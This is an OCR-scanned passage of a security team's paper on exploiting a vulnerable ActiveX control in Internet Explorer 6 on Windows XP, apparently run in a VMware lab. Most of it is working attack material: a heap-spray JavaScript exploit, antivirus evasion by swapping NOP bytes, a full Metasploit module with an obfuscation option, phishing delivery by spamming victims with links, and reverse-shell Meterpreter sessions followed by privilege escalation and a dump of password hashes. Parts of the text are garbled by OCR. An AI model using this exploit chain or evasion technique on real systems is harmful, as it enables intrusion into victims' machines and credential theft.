' @Qee @@ @@ ’
T.eeee @@ .
',eq @ ;
( 3C ) /|__ / HackSys Team! \
AR \N---\ /
(e, e/
=
+ —-— ——=[ 748 exploits - 384 auxiliary - 98 post
+ —— ——=[ 228 payloads - 27 encoders - 8 nops
[

svn r1l4013 updated 276 days ago (2011.10.20)

Warning: This copy of the Metasploit Framework was last updated 276 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:

https://community.rapid7.com/docs/DOC-1306

LHOST => 0.0.0.0

PAYLOAD => windows/meterpreter/reverse tcp

[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler...

[+] Mini HTTP Server started and binded to port 80
[+] Waiting for victims to connect

Type CTRL+C to exit the exploit..

Our exploit program is running and waiting for victims to connect on HTTP port (i.e. port 80). We have spammed

victim’s email inbox with emails containing the malicious hyperlinks to the exploit server. If we are lucky then, as soon

as the victim click’s on the link, our payload will be delivered and we should get a Meterpreter session.

Let’s have patience and wait for the victim’s action. We might have to wait for many hours as we cannot determine

when exactly the victim will open our spam emails and click on the malicious link.
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Now, let’s think from the point of view of a Computer user who is less concerned about the security as he has a great

trust on the Anti-Virus program that is installed in his Windows XP Professional SP3 machine (.i.e. Avast Free Anti-

Virus 2012).

http://bt.com/
Ctri+Click to follow link

Hey, Checkout my new videos at http://www-com/

Victim click’s on the malicious link and the Internet Explorer 6 starts browsing the link. In this case we consider a

pseudo domain bt.com. Let’s check what our victim is doing.

File Edit View Favorites Tools Help

Cannot find server - Microsoft Internet Explorer S Q | X
n
u

. -~ 0 \ 4
\ e | \ ) S e v 3.
P - x| & g | -/ Search < ¢ Favorites € ) . =
Address | @] http:jjbt.comf v|lgdGo Links °

’

" ij The page cannot be displayed

The page you are looking for is currently unavailable. The Web
site might be experiencing technical difficulties, or you may need
to adjust your browser settings.

A To attemnpt fixing network connectivity problems, click
C Tools, and then click "Diagnose Connection

> Problems...

Other options to try:

e Click the Refresh button, or try again later.
e If you typed the +

bRl TROJAN HORSE BLOCKED }’I
-
2

and then click I
tab, click Setti
provided by yo
Internet service
e See if your Inte
You can set Mic s: C:\Program Filesinternet Exploreriiexplore. exe

and automatical
More details...>>

e To check your d
avast! Web Shield has blocked a harmful webpage or file.

Object:  hitp:/bt.com/

Infection: JS:Agent-IP [Trj]

your network adg
1. Click the

Oh, no. Unfortunately, the attack was unsuccessful and Anti-Virus has successfully blocked the hack attempt. Let’s see

what happened to the attacker’s machine.
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LHOST => 0.0.0.0

PAYLOAD => windows/meterpreter/reverse tcp

[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler...

[+] Mini HTTP Server started and binded to port 80
[+] Waiting for victims to connect

Type CTRL+C to exit the exploit..

192.168.96.131 - - [26/Jul/2012 00:05:01] "GET / HTTP/1.1" 200 -
[*] Victim IP Address: 192.168.96.131 [*]

[*] Port Connected: 80 [*]

[*] Heap Spraying the victims browser [*]

[*] Please wait for Meterpreter sessions [*]

Victim made the GET / HTTP/1.1 request but the payload was not delivered to the victim and no Meterpreter

sessions were created.

ANTI-VIRUS EVASION

Knock-Knock! Hey, what if we could bypass the Anti-Virus detection. What could be the possible reasons for the AV

detection? Let’s make note of few things.

Guess 1: Either our shellcode got detected by Anti - Virus engine.

Guess 2: Either NOPS might be the cause for Trojan detection alarm by Anti - Virus engine.

We already encoded our Meterpreter payload using msfencode so there is less chance for the shellcode detection.

What else could be the cause for AV detection and attack failure?

After trying the exploit PoC without NOPs, we were able to deliver the payload page and no Anti-Virus alarm

triggered.

Hence, we came to a conclusion that NOPs might be the problem. There might be other possible causes of our attack
failure. Let’s continue and generate other NOP equivalent OP code. There is a wonderful NOP builder module in

Metasploit named as opty2.
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Let’s fire up msfconsole and generate a NOP.

root@bt:~/Desktop# msfconsole

1
1

+ —— ——
+ == ——

748 exploits - 384 auxiliary - 98 post
228 payloads - 27 encoders - 8 nops
svn rl1l4013 updated 280 days ago (2011.10.20)

— — —

Warning: This copy of the Metasploit Framework was last updated 280 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

msf > use x86/opty2

msf nop(opty2) > generate 1
buf =

"\Xf5"

msf nop(opty2) > exit

Let’s replace the nops from our exploit PoC and replace with the newly generated NOP (“\x£5").

Before modification:

nops = unescape ('5u9%090%u9090") ;

After modification:

nops = unescape ('Suf5f5%ufb£f5"') ;

Let’s re-run the exploit after the modification has been done. Let’s hope that we are able to bypass AV detection. Let’s

intimate our victim to click again on the malicious link.
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=2 vulActiveX.dll Heap Spray SEH Exploit - Microsoft Internet Explorer

<) A\ ‘ i £} v
» y ﬂ L] g ) Search ) Favorites 6.

\ddress | €8] http:/fbt.com/ N ﬂ Go

HHHHHHH R R R
#vulActiveX.dll ActiveX Buffer Overflow (Heap Spray SEH)#
HEHHHHH R R
HackSys Team - Panthera
Author: Ashfag Ansari
http://hacksys.vfreaks.com
hacksysteam@hotmail.com
HEHHHHHH R R R R R
# Tested on WinXPSP3 with IE6 #
HHHHHHHHH R R R R

vulActiveX.dll Heap Spray Attack

Creating one block of memory with NOPS.
Enlarging the memory with NOPS of size 0x5000.
Spraying NOPS + SHELLCODE 250 times.
Allocated 524268 bytes.

Heap Spraying completed successfully.

Triggering vulnerability in valActiveX.dll.

] Launching Exploit T ® Internet
T ———

| think our payload got delivered to victim’s Computer. Let’s see if any Meterpreter session were created or not on

attackers box running BackTrack 5 R1.

192.168.96.131 - - [26/Jul/2012 01:10:17] "GET / HTTP/1.1" 200 -

[*] Victim IP Address: 192.168.96.131 [*]

[*] Port Connected: 80 [*]

[*] Heap Spraying the victims browser [*]

[*] Please wait for Meterpreter sessions [*]

[*] Sending stage (752128 bytes) to 192.168.96.131

[*] Meterpreter session 1 opened (192.168.96.128:4444 -> 192.168.96.131:1052) at
2012-07-26 01:11:30 +0530

meterpreter >

Yeah! We have finally done it. We got a Meterpreter session and we have successfully bypassed Anti-Virus detection.
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PoORTING To METASPLOIT

As a fan of Metasploit developed by HD Moore, we decided to port our current exploit to Metasploit module.

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote: :HttpServer: :HTML

def (info = {})

super (update info(info,
'Name' => 'vulActiveX.dll SEH Exploit',
'Description' =>
4
'License’ => MSF LICENSE,
'Author' => [ 'Ashfag Ansari' 1],
'Version' => 'SRevision: 1S$',
'References' =>

[
[ '"URL', 'http://hacksys.vfreaks.com/' ],

1,
'DefaultOptions' =>

{
'EXITFUNC' => 'process',
},
'Payload’ =>
{
'Space'’ => 7
'BadChars' => ,
},
'"Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } 1,
[ 'Internet Explorer 6 - Windows XP SP3', { 'Ret' => } 1,
[ 'Internet Explorer 7 - Windows XP SP3', { 'Ret' => } 1,
1,
'DisclosureDate' => '"',
'DefaultTarget' => 0))

register options (

[
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OptBool .new ('OBFUSCATE', [false, 'Enable JavaScript obfuscation',
], self.class)
end

def
false
end

def
use zlib
end

def (cli, request)

agent = request.headers['User-Agent']
print status( #{agent}")

if agent =~ /MSIE 6\.0/
print status ( )
mytarget = targets[!]

elsif agent =~ /MSIE 7\.0/
print status ( )
mytarget = targets[”]

else
print error( )
mytarget = nil

end

return mytarget
end

def (cli, request)
mytarget = target

print status ("#{cli.peerhost}:#{cli.peerport} %
request.uri.inspect)

if target.name == 'Automatic'
mytarget = auto target(cli, request)
if mytarget.nil?
send not found(cli)

return
end
end
return if ((p = regenerate payload(cli)) == nil)
shellcode = Rex::Text.to unescape (payload.encoded,

Rex::Arch.endian(target.arch))

ret = Rex::Text.uri encode ([mytarget['Ret']].pack('V*"))
nops = Rex::Text.to unescape (make nops(4))
js = <<-JS

shellcode = unescape('#{shellcode}');
nops = unescape ('#{nops}"');

headersize = 20;

true])
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slackspace =

headersize + shellcode.length;

while (nops.length < slackspace) nops += nops;

fillblock = nops.substring (0, slackspace):;

block = nops.substring (0, nops.length - slackspace);

while (block.length + slackspace < 0x50000) block = block + block + fillblock;
memory = new Array();

for (counter = 0; counter < 250; counter++) {

block + shellcode;

memory[counter] =
= "Heap Spraying: " + Math.round (100 * counter / 250)

window.status
done";

}

evil payload = "";
while
window.status = "Launching Exploit";
_vulActiveX.BufferOverflow(evil payload) ;
JsS

if datastore['OBFUSCATE']
Jjs = ::Rex::Exploitation::JSObfu.new(Js)
js.obfuscate

end

content = <<-HTML

<html>

<head>

<title>vulActiveX.dll - Metasploit Module - HeapSpray</title>

[
+ "3

(evil payload.length < 14356) evil payload += unescape('#{ret}');

<object classid='clsid:C44CBF61-7844-4C4B-BC77-7643FD70848E"' id=' vulActiveX'>

</object>

<script type="text/javascript" language="javascript">
#{Jjs}

</script>

</head>

<body>

</body>

</html>

HTML

print status(
# Transmit the response to the client
send response html (cli, content)

end

end

#{cli.peerhost}:#{cli.peerport} )

In order to use vulActiveX.rb as Metasploit module, we will have to copy vulActiveX.rb to the below given

location.

/pentest/exploits/framework/modules/exploits/windows/browser/

Let’s load msfconsole after integrating our module into Metasploit and launch the exploit again.
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root@bt:~# msfconsole

+ == -
+ == -

749 exploits - 384 auxiliary - 98 post
228 payloads - 27 encoders - 8 nops
svn r1l4013 updated 276 days ago (2011.10.20)

— — o

Warning: This copy of the Metasploit Framework was last updated 276 days ago.

msf
msf

We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

> use exploit/windows/browser/vulActiveX
exploit (vulActiveX) > set URIPATH /

URIPATH => /

msf

exploit (vulActiveX) > set SRVPORT 80

SRVPORT => 80

msf

exploit (vulActiveX) > set PAYLOAD windows/meterpreter/reverse tcp

PAYLOAD => windows/meterpreter/reverse tcp

msf

exploit (vulActiveX) > set LHOST 192.168.96.128

LHOST => 192.168.96.128

msf

[*]

[*]
[*]
[*]
[*]

msf

exploit (vulActiveX) > exploit
Exploit running as background job.

Started reverse handler on 192.168.96.128:4444
Using URL: http://0.0.0.0:80/

Local IP: http://192.168.96.128:80/

Server started.

exploit (vulActiveX) >
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Our exploit is running and waiting for the victim to connect on port 80. Let’s connect to the exploit server on port 80

and check if the exploit is working as expected and is able to bypass AV detection.

. — el
Fle Edit View Favorites Tools Help ¢

A\ ) <A D D
ol avast! FREE ANTIVIRUS > D - [ B @ Pseuan foraones @ -
Address | €] http:{fbt.com/ v B G Liks
g SIMARY SECURED
\ Your system is fully protected
urrent Status -
Program awaiting registration, please register.
Your protection against viruses and spyware will expire in 30 days
You need to register the program to stay protected.
SILENT/GAMING MODE: OFF Turn on
avast! will display on-screen messagesipop-upsalerts and play sounds as needed. However, nothing
will be displayed if a full-screen application is running

] Launching Exploit (T @ Trusted sites

| think the payload got delivered successfully. Let’s check the msfconsole and find out whether any sessions were

made.

msf exploit (vulActiveX) > [*] 192.168.96.131:1078 Received request for "/"

[*] Checking user agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C;
.NET4.0E)

[*] Victim is running Internet Explorer 6

[*] Sending exploit to 192.168.96.131:1078...

[*] Sending stage (752128 bytes) to 192.168.96.131

[*] Meterpreter session 1 opened (192.168.96.128:4444 -> 192.168.96.131:1079) at
2012-08-03 17:41:45 +0530

Fantastic, we got a Meterpreter session opened to the attacker’s box. Let’s run some of the msfconsole commands

and do some post exploitation stuffs.

msf exploit(vulActiveX) > sessions —-i 1
[*] Starting interaction with 1...
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meterpreter > sysinfo

Computer : WINXPSP3

0S : Windows XP (Build 2600, Service Pack 3).
Architecture : x86

System Language : en US

Meterpreter : x86/win32

meterpreter > getuid
Server username: WINXPSP3\HackSys

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl16ae931b73¢c59d7e0c08
9c0:::
ASPNET:1004:04d87£074£9d3bf728e4250679477c4d:c£f8fb670cdb63730787019ac56a13691:::
Guest:501:aad3b435b51404ecaad3b435b51404ee:31docfe0dl6ae931b73¢c59d7e0c089c0: : :
HackSys:1003:aad3b435b51404eecaad3b435b51404ee:31d6cfe0dl16ae931b73¢c59d7e0c089c0: :

HelpAssistant:1000:a7367b6£192390a41lccac07£5£5b44b3:91ab307b3alb696e072905c10cbb
7Tdae: ::

SUPPORT 388945a0:1002:aad3b435b51404ecaad3b435b51404ee:5e5944978ae366e7c/c2cecle
£52¢c779:::
Victim:1005:5e0fbfa70aacbl06695109ab020e401c:6143bfl6efd4c89%9aa72a0a563164a1538:::

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine .....

[*] This is a VMware Virtual Machine

meterpreter > exit

Our victim is running Windows XP Professional (Build 2600, Service Pack 3) under VMware Virtual Machine. We have

successfully escalated our privileges to SYSTEM.

Finally, our goal has been achieved and we have completely compromised a Windows box using a simple bug. Please

be careful before installing any add-ons for your browser and we wish you all happy and safe browsing.
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Safe Computing!

We hope that you all have enjoyed reading this paper. If you have any feedback or suggestions, please feel free to

write us at hacksysteam@hotmail.com
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ABOUT HACKSYS TEAM

HackSys Team is a venture of HackSys, code named “Panthera”. HackSys was established in the year 2009.

We at HackSys Team are trying to deliver solutions for most of the vulnerabilities and technical troubleshooting in
Windows Operating System. This is an open platform where you will get video tutorials, scripts and articles on

Windows technical troubleshooting and Security Research.

HackSys Team collaborated with vFreaks Pvt. Ltd. (www.vfreaks.com) to provide online technical support for

consumers using Windows Operating System.

For more details visit http://hacksys.vfreaks.com/
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